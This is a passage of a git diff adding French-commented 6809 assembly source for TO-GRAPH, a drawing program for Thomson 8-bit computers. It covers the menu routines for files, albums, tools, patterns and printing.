+       BCS    XAECRF    raz ->
+       JSR    CHALB
+       BCS    XAECRF    pas de place ->
+       STX    ALBCOU
+
+       CLRB
+       JSR    FENFER
+
+*      codage image
+*
+
+       LDD    #$A002
+       STD    DEBZON
+       LDA    BANKC     mémo
+       LDB    8,X
+       STB    BANKC
+       DECB
+       STB    DEBZON+2
+       CLR    PUTFLG
+       LDB    #$FF
+       STB    PASSCD
+       LDB    #5
+       STB    X0COD
+       LDB    #1
+       STB    Y0COD
+       LDB    #78
+       STB    X1COD
+       LDB    #23
+       STB    Y1COD
+       LDB    #CODE
+       JSR    EXTRA
+
+       LDY    LSTBYT
+       LEAY   -$A002,Y
+       STY    $A000
+       STA    BANKC
+
+       JSR    FENACT
+       RTS
+
+XAECRF LDB    #$45      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECA1    ->
+
+*** Voir liste
+XALVIS EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDD    #$0806
+       LDY    #0
+       LDX    #0
+       JSR    SELALB
+
+       LDB    #$56      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECA1    ->
+
+*** Supprimer album
+XALSUP EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDD    #$0806
+       LDY    #0
+       JSR    SELALB
+       BCS    XALSUF    raz ->
+       NEG    8,X
+       DEC    NBALB
+       CMPX   ALBCOU
+       BNE    XALSUF    ->
+       LDD    #0        plus album cour.
+       STD    ALBCOU
+
+XALSUF LDB    #$53      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECA1    ->
+
+
+* Fin menu albums
+*---------------------------------------
+
+XARETZ CLRB
+XARET  PSHS   B
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+       PULS   B
+       RTS
+
+*=======================================
+* S/P menu déroulant de gestion fichier
+*
+* Sortie: B  code menu principal sélect.
+*=======================================
+
+SPFICH EQU    *
+       LEAS   -2,S
+ADFSOV SET    0
+*---------------------------------------
+
+       JSR    FENDES   pour cadrage
+       JSR    SAUVE    éventuel
+       LDD    <ADF
+       STD    ADFSOV,S
+
+       LDX    #FENFIC
+       LDD    #$0205
+       JSR    FENOUV
+
+EXECF0 LDB    #ESC
+       JSR    PUTC
+       LDB    #$4F
+       JSR    PUTC
+       LDD    #$0222   Disque courant
+       LDY    #$0202
+       JSR    FENLOF
+       LDB    DKDRV
+       ADDB   #$30
+       JSR    PUTC
+       LDB    #ESC
+       JSR    PUTC
+       LDB    #$4C
+       JSR    PUTC
+
+EXECF1 JSR    FENACT
+
+
+EXECF2 JSR    FEN
+       TSTB
+       BEQ    EXECF2    ->
+       LDU    #PILFEN
+       PSHU   CC,D,X,Y
+       CMPB   #$50      P
+       LBEQ   XFUNIT    ->
+       CMPB   #$49      I
+       LBEQ   XFINIT    ->
+       CMPB   #$43      C
+       LBEQ   XFCATA    ->
+       CMPB   #$52      R
+       LBEQ   XFRENO    ->
+       CMPB   #$53      S
+       LBEQ   XFSUPR    ->
+       CMPB   #$44      D
+       LBEQ   XFDUPL    ->
+       CMPB   #$4C      L
+       LBEQ   XFLIRE    ->
+       CMPB   #$45      E
+       LBEQ   XFECRI    ->
+       CMPB   #$41      A
+       LBEQ   XALBF     ->
+       CMPB   #$46      F
+       LBEQ   XFALB     ->
+       CMPB   #$51      Q
+       LBEQ   XFQUIT    ->
+       LDA    #$90
+       LDX    #XFRET
+       LDY    #XFRETZ
+       JSR    ABORT
+       CMPU   #0
+       LBEQ   EXECF2    ->
+       JMP    ,U
+
+*** Préciser unité
+XFUNIT EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0518
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #$FFFF
+       LBSR   DOSSEL
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       CLRB
+       LBSR   FENFER
+       LDB    #$50      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF0    ->
+
+*** Initialiser
+XFINIT EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0518
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSINI
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       CLRB
+       LBSR   FENFER
+       LDB    #$49      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+       LBRA   EXECF1    ->
+
+*** Catalogue
+XFCATA EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0218
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSCAT
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       CLRB
+       LBSR   FENFER
+       LDB    #$43      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Renommer fichier
+XFRENO EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0518
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSREN
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       CLRB
+       LBSR   FENFER
+       LDB    #$52      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Supprimer fichier
+XFSUPR EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0518
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSSUP
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       CLRB
+       LBSR   FENFER
+       LDB    #$53      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Dupliquer fichier
+XFDUPL EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   Sélection
+       LDD    #$0518
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSDUP
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       CLRB
+       LBSR   FENFER
+       LDB    #$44      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Lire fichier
+XFLIRE EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDX    #FILNAM   filtre .MAP
+XLIRZ  CLR    ,X+
+       CMPX   #FILNAM+8
+       BNE    XLIRZ     ->
+       LDD    #$4D41
+       STD    ,X++
+       LDA    #$50
+       STA    ,X+
+       LDX    #FENVID   sélection
+       LDD    #$0518
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MLIRE
+       LBSR   DOSFIL
+       PSHS   CC
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       PULS   CC
+       BEQ    XLIRZ9    RAZ    ->
+       BCS    XLIRZ9    erreur ->
+
+       LDX    #FILNAM   fich cour.
+       LDY    #DESCOU
+BMEMFC LDA    ,X+
+       STA    ,Y+
+       CMPX   #FILNAM+8
+       BNE    BMEMFC    ->
+
+       JSR    LECDES    lecture dessin
+       TSTB
+       BNE    XLIRZ9    ->
+
+       LDB    #1        visu charg.
+       JSR    FENFER
+       JSR    RESTAU
+       JSR    FENACT
+       CLRB
+       LEAS   2,S
+       RTS              ->>
+
+XLIRZ9 CLRB
+       LBSR   FENFER
+       LDB    #$4C      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Ecrire fichier
+XFECRI EQU    *
+       JSR    FENCH
+       JSR    FENIVD
+       LDA    #1        sélection +
+       JSR    SPCADR    cadrage feuille
+       BEQ    XFECRF    raz ->
+       EXG    A,B
+       CMPB   #ON
+       BNE    XFECR0    ->
+       CLR    CADRNG    pleine page
+       CLR    CADCOL
+       LDA    #102
+       STA    CADHAU
+       LDA    #120
+       STA    CADLAR
+XFECR0 JSR    ECRDES
+       CLRB
+       JSR    FENFER
+
+XFECRF LDB    #$45
+       JSR    FENCH
+       JSR    FENIVD
+       LBRA   EXECF1    ->
+
+*** Fichier -> Album
+XFALB  EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDX    #FILNAM   filtre .ALB
+XLIRA0 CLR    ,X+
+       CMPX   #FILNAM+8
+       BNE    XLIRA0    ->
+       LDD    #$414C
+       STD    ,X++
+       LDA    #$42
+       STA    ,X+
+       LDX    #FENVID   sélection
+       LDD    #$0518
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MLIRE
+       LBSR   DOSFIL
+       PSHS   CC
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       PULS   CC
+       BEQ    XLIRAX    RAZ    ->
+       BCS    XLIRAX    erreur ->
+
+       LDX    #FILNAM   trouver un alb.
+       JSR    CHALB
+       BCS    XLIRAX    pas de place ->
+
+       JSR    CHAALB    charger l'album
+       BCS    XLIRAX    erreur ->
+       STX    ALBCOU
+
+XLIRAX CLRB
+       LBSR   FENFER
+
+XLIRAF LDB    #$46      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Album -> Fichier
+XALBF  EQU    *
+       LBSR   FENCH
+       LBSR   FENIVD
+
+       LDD    #$0810
+       LDX    #$FFFF
+       LDY    #$FFFF
+       JSR    SELALB
+       BCS    XECAF     ->
+       JSR    FENDES
+       JSR    ECRALB    écriture album>
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+
+XECAF  LDB    #$41      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Quitter
+XFQUIT EQU    *
+       LBSR   FENCH
+       LBSR   FENIVD
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDD    #$0D20
+       LBSR   TBREAK
+       BCS    FINGR     ->
+       LDA    #BKTIR    restaure
+       STA    BANKC
+       LDB    #$51
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*      Nettoyages divers
+*---------------------------------------
+
+*      Fenêtrage
+FINGR  JSR    FENFIN
+
+*      Attributs de visu.
+       LDB    #ESC    40 col
+       JSR    PUTC
+       LDB    #$5A
+       JSR    PUTC
+
+       LDA    #0
+       LDX    #0
+       LDY    MEMC0
+       JSR    SETP
+       LDA    #1
+       LDX    #0
+       LDY    MEMC1
+       JSR    SETP
+
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+       LDD    #$FFFF
+       STD    MEMC0
+       STD    MEMC1
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+       JMP    MENU    ->>>>>>>
+
+* Fin menu fichier
+*---------------------------------------
+
+XFRETZ CLRB
+XFRET  PSHS   B
+       CLRB
+       JSR    FENFER
+       LDD    <ADF
+       CMPD   ADFSOV,S
+       BEQ    XFRET0    ->
+       JSR    RESTAU    cadrage
+XFRET0 JSR    FENACT
+       PULS   B
+       LEAS   2,S
+       RTS
+
+
+*=======================================
+* S/P menu déroulant de sélection outils
+*
+* Sortie: B  code menu principal sélect.
+*=======================================
+
+SPOUTI EQU    *
+*---------------------------------------
+
+       LDX    #FENOUT
+       LDD    #$0205
+       JSR    FENOUV
+       JSR    FENACT
+
+EXECO1 JSR    FEN
+       TSTB
+       BEQ    EXECO1    ->
+       LDU    #PILFEN
+       PSHU   CC,D,X,Y
+       CMPB   #$41
+       BCS    EXECO2    ->
+       CMPB   #$4D
+       BCC    EXECO2    ->
+       BRA    EXECO3    ->
+EXECO2 LDA    #$0F
+       LDX    #XORET
+       LDY    #XORETZ
+       JSR    ABORT
+       CMPU   #0
+       BEQ    EXECO1    ->
+       JMP    ,U
+
+*** Visualiser nouvel outil
+EXECO3 TFR    B,A
+       CLRB
+       JSR    FENFER
+       SUBA   #$41
+       CMPA   #11
+       BNE    EXECO4    ->
+       TST    FLGTIR
+       BNE    EXECO4    ok ->
+       LDX    #MTIRVI
+       JSR    FENERR
+       BRA    EXECOF    ->
+EXECO4 STA    OUTIL
+       JSR    AFFOPT
+       CLR    FLGSS2
+
+*** Sauvegarder écran courant
+       JSR    SAUVE
+
+EXECOF JSR    FENACT
+       CLRB
+       RTS             ->>
+
+* Fin menu outil
+*---------------------------------------
+
+XORETZ CLRB
+XORET  PSHS   B
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+       PULS   B
+       RTS
+
+
+*=======================================
+* S/P de gestion tiroir
+*
+* Sortie: B  code menu principal sélect.
+*=======================================
+
+FFTIRO FCB    FLOCA,1,4,23,74
+       FCB    FCOMF,FF,OFF
+       FCB    FCALL
+       FDB    MENUD
+       FCB    FSTOP
+
+SPTIRO EQU    *
+*---------------------------------------
+
+       TST    FLGTIR
+       BNE    SPTI0     ok ->
+       LDX    #MTIRVI
+       JSR    FENERR
+       JSR    FENACT
+       RTS              ->>
+
+SPTI0  LEAX   FFTIRO,PCR
+       LDD    #0
+       JSR    FENOUV
+
+* Visualisation du tiroir
+       LDB    #ESC      tour magenta
+       JSR    PUTC
+       LDB    #$65
+       JSR    PUTC
+       LDD    #$0104    fond tramé
+       LDY    #$174A
+       JSR    FENLOC
+       JSR    FENTRA
+       LDX    #32       delimite tiroir
+       LDY    #8
+       LDA    #1
+       JSR    VISTIR
+
+* Travail sur le tiroir
+
+       JSR    FENACT
+
+EXECT1 JSR    FEN
+       LDU    #PILFEN
+       PSHU   CC,D,X,Y
+       TSTB
+       BEQ    EXECT2    ->
+       CMPB   #$0D
+       BEQ    ROTIR     ->
+       LDA    #$91
+       LDX    #XTRET
+       LDY    #XTRETZ
+       JSR    ABORT
+       CMPU   #0
+       BEQ    EXECT1    ->
+       JMP    ,U
+
+*** Tester la gestion souris
+
+
+EXECT2 LDA    REGCC
+       TFR    A,CC
+       LBCC   EXECT1    ->
+ROTIR0 JSR    LPIN
+       BCS    ROTIR0    ->
+
+*** Gestion du tiroir
+ROTIR  EQU    *
+       LBSR   MODTIR
+       LBRA   EXECT1    ->
+
+* Fin traitement tiroir
+*---------------------------------------
+
+XTRETZ CLRB
+XTRET  PSHS   B
+       LDB    #ESC      tour normal
+       JSR    PUTC
+       LDB    #$60
+       JSR    PUTC
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+       PULS   B
+       RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion motifs
+*
+* Sortie: B  code menu principal sélect.
+*=======================================
+
+SPMOTI LEAS   -18,S
+MEMCC  SET    0
+RNGLP  SET    1
+COLLP  SET    2
+HAULP  SET    3
+LARLP  SET    4
+LOCX   SET    5
+LOCY   SET    7
+STORE  SET    9       mode store
+MOTTRA SET    10      8 oct.
+*---------------------------------------
+
+       CLR    FLGSS2
+       CLR    STORE,S
+
+       LDX    #FENMOT
+       LDD    #$0205
+       JSR    FENOUV
+
+*      Visualiser le motif courant
+
+       LDX    #CARMOT
+       LEAY   MOTTRA,S
+BCOPM0 LDD    ,X++
+       STD    ,Y++
+       CMPX   #CARMOT+8
+       BNE    BCOPM0    ->
+
+       LEAY   MOTTRA,S
+       JSR    VISMOT
+
+*      Renseigner les 32 codes equiv des
+*      poussoirs motifs
+
+       LDA    #233
+       LDB    #255
+BCODEQ JSR    FENCH
+       STA    CODEQU,X
+       DECA
+       CMPA   #201
+       BNE    BCODEQ    ->
+
+*      Visualiser les 32 codes equiv des
+*      poussoirs motifs haut vers bas
+
+       LDB    #202
+       LDY    #MOTREM+16
+BCODQ0 JSR    FENCH
+       TFR    Y,X
+       JSR    AF4MOT
+       JSR    FENTI
+       LEAY   8,Y
+       INCB
+       CMPB   #234
+       BNE    BCODQ0    ->
+
+*      Acquérir les coordonnées de la
+*      zone loupe
+
+       LDB    #254
+       JSR    FENCH
+       LDD    RNG,X
+       STD    RNGLP,S
+       LDD    HAUT,X
+       STD    HAULP,S
+
+       JSR    FENACT
+
+EXECM1 JSR    FEN
+       TFR    CC,A
+       STA    MEMCC,S
+       STX    LOCX,S
+       STY    LOCY,S
+
+       TSTB
+       BEQ    EXECM4    ->
+       CMPB   #RC
+       LBEQ   XRMOT     ->
+       CMPB   #199
+       LBEQ   XMMOT     ->
+       CMPB   #200
+       BCS    EXECM2    ->
+       CMPB   #234
+       BCC    EXECM2    ->
+       BRA    XPMOT     ->
+
+EXECM2 LDA    #$10
+       LDX    #XMRET
+       LDY    #XMRETZ
+       JSR    ABORT
+       CMPU   #0
+       LBEQ   XCMOT   ->
+       JMP    ,U
+
+EXECM4 LDA    MEMCC,S
+       TFR    A,CC
+       LBCC   EXECM1    ->
+       LDX    RNGLP,S   clic
+       LDY    HAULP,S
+       JSR    SOUDAN
+       LBCC   EXECM1    ->
+
+*** Clic dans loupe
+       TST    STORE,S
+       LBNE   EXECM1    mode store ->
+       CLR    FLGSS2
+ATRB0  JSR    LPIN
+       BCS    ATRB0     anti-rebond ->
+       LDD    LOCX,S    coord. car.
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDA    LOCY+1,S
+       LSRA
+       LSRA
+       LSRA
+       LDY    #$0101    visu loupe
+       JSR    FENLOC
+       JSR    FENIVD
+       STD    LOCX,S    mémo bit
+       LDA    RNGLP,S
+       ADDA   #7
+       SUBA   LOCX,S
+       LEAX   MOTTRA,S
+       LDB    LOCX+1,S
+       SUBB   COLLP,S
+       SUBB   #7
+       NEGB
+       LDY    #TBITS
+       LDB    B,Y
+       EORB   A,X
+       STB    A,X
+       LEAY   MOTTRA,S  visu motif
+       JSR    VISMOO
+
+       LBRA   EXECM1    ->
+
+*** Présélection d'un motif
+*** ou rangement (store) d'un motif
+
+XPMOT  EQU    *
+       TST    STORE,S
+       BNE    XPMOTS    store ->
+       CLR    FLGSS2
+       SUBB   #200
+       LDA    #8
+       MUL
+       LDY    #MOTREM
+       LEAY   D,Y
+       JSR    VISMOT
+       LDB    #8
+       LEAX   MOTTRA,S
+BCOPM1 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BCOPM1    ->
+       LBRA   EXECM1    ->
+
+XPMOTS JSR    FENCH
+       SUBB   #200
+       LDA    #8
+       MUL
+       LDX    #MOTREM
+       LEAX   D,X
+       LEAY   MOTTRA,S
+       JSR    AF4MOT
+       JSR    FENTI
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+       LDB    #8
+BCOPS1 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BCOPS1    ->
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+       LDB    #199      revenir en non
+       JSR    FENCH     "store"
+       JSR    FENIVD
+       LDA    #OFF
+       STA    VAL,X
+       BRA    FINSTO    ->
+
+*** Mémorisation d'un motif (inverseur)
+*** Nb: FENDES inutile car sélection par
+***     clavier impossible
+
+XMMOT  EQU    *
+       CLR    FLGSS2
+       JSR    FENCH
+       LDA    VAL,X
+       STA    STORE,S
+       CMPA   #ON
+       BEQ    ACTSTO    passage store ->
+FINSTO LDA    #OFF      réautorisation
+       LDB    #RC
+       JSR    FENCH
+       STA    VAL,X
+       LDB    #200
+       JSR    FENCH
+       STA    VAL,X
+       LDB    #201
+       JSR    FENCH
+       STA    VAL,X
+       CLR    STORE,S
+       LBRA   EXECM1    ->
+
+ACTSTO LDA    #INTERD   interdictions
+       LDB    #RC
+       JSR    FENCH
+       STA    VAL,X
+       LDB    #200
+       JSR    FENCH
+       STA    VAL,X
+       LDB    #201
+       JSR    FENCH
+       STA    VAL,X
+       LBRA   EXECM1    ->
+
+*** Motif saisie au clavier
+
+XCMOT  EQU    *
+       TST    STORE,S
+       LBNE   EXECM1    mode store ->
+       LEAY   MOTTRA,S
+       JSR    XTRMOT
+       LBCC   EXECM1    ->
+       JSR    VISMOT
+       LBRA   EXECM1    ->
+
+* Fin menu motif avec sélection
+*---------------------------------------
+
+XRMOT  EQU    *
+       LDX    #CARMOT
+       LEAY   MOTTRA,S
+BCOPM3 LDD    ,Y++
+       STD    ,X++
+       CMPX   #MOTIF
+       BNE    BCOPM3    ->
+
+       CLRB
+       JSR    FENFER
+       JSR    AFFOPT    visu. nouv. mot.
+       JSR    FENACT
+       CLRB
+       BRA    XMRET0    ->
+       RTS
+
+* Fin menu motif sans sélection
+*---------------------------------------
+
+XMRETZ CLRB
+XMRET  PSHS   B
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+       PULS   B
+XMRET0 LEAS   18,S
+       RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion impress.
+*
+* Sortie: B  code menu principal sélect.
+*=======================================
+
+SPIMPR EQU    *
+       LEAS   -2,S
+ADFSOV SET    0
+*---------------------------------------
+
+       JSR    FENDES    pour cadrage
+       JSR    SAUVE     éventuel
+       LDD    <ADF
+       STD    ADFSOV,S
+
+       LDX    #FIMPR
+       LDD    #$0231
+       JSR    FENOUV
+
+       JSR    FENACT
+EXECI1 JSR    FEN
+       TSTB
+       BEQ    EXECI1    ->
+       LDU    #PILFEN
+       PSHU   CC,D,X,Y
+       CMPB   #$45      Ecran
+       LBEQ   XIECR     ->
+       CMPB   #$46      Feuille
+       LBEQ   XIFEU     ->
+       LDA    #$94
+       LDX    #XIRET
+       LDY    #XIRETZ
+       JSR    ABORT
+       CMPU   #0
+       BEQ    EXECI1    ->
+       JMP    ,U
+
+*** Impression Ecran
+XIECR  EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDA    RGDECR
+       STA    CADRNG
+       LDA    CLDECR
+       STA    CADCOL
+       LDA    #23
+       STA    CADHAU
+       LDA    #74
+       STA    CADLAR
+       LDB    #OFF      pas pleine page
+       JSR    IMPPAG
+
+       LDB    #$45      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBSR   FENACT
+       LBRA   EXECI1    ->
+
+*** Impression feuille
+XIFEU  EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+       LDA    #1        sélection +
+       JSR    SPCADR    cadrage
+       LBEQ   XIFEUF    raz->
+       EXG    A,B
+
+       LDA    CADCOL    assure cadrage
+       LSLA             horiz.
+       ADDA   CADLAR
+       STA    CADLAR
+       CLR    CADCOL
+       JSR    IMPPAG
+
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+XIFEUF LDB    #$46      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECI1    ->
+
+* Fin menu impression
+*---------------------------------------
+
+XIRETZ CLRB
+XIRET  PSHS   B
+       CLRB
+       JSR    FENFER
+       LDD    <ADF
+       CMPD   ADFSOV+1,S
+       BEQ    XIRET0    ->
+       JSR    RESTAU    cadrage
+XIRET0 JSR    FENACT
+       PULS   B
+       LEAS   2,S
+       RTS
+
+
+*=======================================
+* S/P effacement écran courant
+*=======================================
+
+FSELR  FCB    FLOCF,0,0,4,16
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,1,1,14
+       FCB    FEDI,ESC,$4E
+       FCC    \RAZT\
+       FCB    ESC,$4C
+       FCC    \out\
+       FCB    0
+       FCB    FPOUSS,$54,OFF
+       FCB    FLOCR,1,0,1,14
+       FCB    FEDI,ESC,$4E
+       FCC    \RAZE\
+       FCB    ESC,$4C
+       FCC    \cran\
+       FCB    0
+       FCB    FPOUSS,$45,OFF
+       FCB    FCALL
+       FDB    MENUD
+       FCB    FSTOP
+*---------------------------------------
+SPRAZ  JSR    FENCH
+       LDD    RNG,X
+       ADDB   #3
+       LEAX   FSELR,PCR
+       JSR    FENOUV
+       JSR    FENACT
+XRAZ0  JSR    FEN
+       TSTB
+       BEQ    XRAZ0     ->
+       LDU    #PILFEN
+       PSHU   CC,D,X,Y
+       CMPB   #$54
+       BEQ    XRAZT     ->
+       CMPB   #$45
+       BEQ    XRAZE     ->
+       LDA    #$05
+       LDX    #FSPRA
+       LDY    #FSPRAZ
+       JSR    ABORT
+       CMPU   #0
+       BEQ    XRAZ0     ->
+       JMP    ,U
+
+XRAZT  JSR    FENDES    raz feuille
+       JSR    FENCH
+       JSR    FENIVD
+       JSR    RAZF
+
+XRAZE  CLRB             raz écran
+       JSR    FENFER
+       JSR    RAZE
+       JSR    FENACT
+       RTS
+
+FSPRAZ CLRB
+FSPRA  PSHS   B
+       CLRB
+       JSR    FENFER
+       JSR    FENACT
+       PULS   B,PC
+
+
+*=======================================
+* S/P restaure écran à partir de la
+*     zone de travail
+*=======================================
+
+RESTAU EQU    *
+       CLRB
+       JSR    FEUECR
+       INCB
+       JSR    FEUECR
+       RTS
+
+
+*=======================================
+* S/P sauvegarde écran dans la zone
+*     de travail
+*=======================================
+
+SAUVE  EQU    *
+       CLRB
+       JSR    ECRFEU
+       INCB
+       JSR    ECRFEU
+       RTS
+
+
+*=======================================
+* S/P visualisation du motif courant en
+*     fenêtre de travail
+*
+* Entrée : Y  pointe motif
+*=======================================
+
+VISMOO PSHS   D,X,Y
+       BRA    VISMO0    ->
+VISMOT PSHS   D,X,Y
+PD     SET    0
+PX     SET    2
+PY     SET    4
+*---------------------------------------
+
+       LDB    #254
+       JSR    FENCH
+       LDD    RNG,X
+       JSR    LPMOTI
+
+VISMO0 LDD    #$020F
+       LDY    #$0202
+       JSR    FENLOF
+       LDY    PY,S
+       JSR    AF4MOT
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P extraction du motif d'un caractère
+*     -utilise le drapeau FLGSS2 qui
+*     doit être mis à 0 au 1er appel
+*     -utilise la table TABG2 des codes
+*      G2:
+*           rang = code pour générateur
+*                  PTGENE (96,97,...)
+*           si b7=> superposition
+*           fin  = 0
+*
+* Entrée : B  caractère lu au clavier
+*          Y  pointe motif à générer
+* Sortie : CY 1 si motif modifié
+*             0 sinon (SS2)
+*=======================================
+
+TABG2  FDB    $CB23,$2426,$2C2D,$2E2F
+       FDB    $3031,$383C,$3D3E,$C1C2
+       FDB    $C3C8,$6A7A,$7B00
+
+XTRMOT PSHS   D,X,Y
+*---------------------------------------
+
+       TST    FLGSS2
+       BEQ    XTRM50    ->
+       LDA    FLGSS2
+       CMPA   #SS2
+       BNE    XTRM30    superposition ->
+       LEAX   TABG2,PCR car. suivant SS2
+       LDA    #95
+XTRM21 INCA
+       TST    ,X
+       BEQ    XTRM50    inconnu ->
+       CMPB   ,X
+       BEQ    XTRM24    trouvé normal ->
+       ORB    #$80
+       CMPB   ,X
+       BEQ    XTRM22    trouvé superpos>
+       ANDB   #$7F
+       LEAX   1,X
+       BRA    XTRM21    ->
+
+XTRM22 STA    FLGSS2    accent ...
+       TFR    A,B
+       ANDB   #$7F
+       LDA    #8        renseigner motif
+       MUL              sans visu.
+       LDX    PTGENE
+       LEAX   D,X
+       LDB    #8
+XTRM23 LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    XTRM23    ->
+       ANDCC  #$FE
+       LBRA   XTRMF     ->
+
+XTRM24 CLR    FLGSS2    car. G2
+       TFR    A,B
+       BRA    XTRM90    ->
+
+XTRM30 EQU    *         lettre accentuée
+       CLR    FLGSS2    ->superposer
+       SUBB   #$20
+       BCS    XTRMRZ    ->
+       CMPB   #$96
+       BCC    XTRMRZ    ->
+       LDA    #8
+       MUL
+       LDX    PTGENE
+       LEAX   D,X
+       LDB    #8
+XTRM31 LDA    ,Y
+       ORA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    XTRM31    ->
+       ORCC   #1
+       BRA    XTRMF     ->
+
+XTRM50 CMPB   #SS2
+       BNE    XTRM80    ->
+       STB    FLGSS2
+XTRMRZ ANDCC  #$FE
+       BRA    XTRMF     ->
+
+XTRM80 CLR    FLGSS2
+       SUBB   #$20
+       BCS    XTRMRZ    ->
+       CMPB   #$96
+       BCC    XTRMRZ    ->
+
+XTRM90 LDA    #8        renseigner motif
+       MUL
+       LDX    PTGENE
+       LEAX   D,X
+       LDB    #8
+XTRM91 LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    XTRM91    ->
+       ORCC   #1
+
+XTRMF  PULS   D,X,Y,PC
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-PR.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-PR.ASM
new file mode 100755
index 0000000..4e3affa
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-PR.ASM
@@ -0,0 +1,1039 @@
+       TITLE  TO-GRAPH: Programme princ.
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    Programme principal               *
+*                                      *
+****************************************
+
+DEBUT  EQU    *
+
+* Initialisations
+*---------------------------------------
+
+* Pile
+       LDS    #PILE
+
+* Initialisation DOS sur zone réservée
+* (5 disques 2 fichiers)
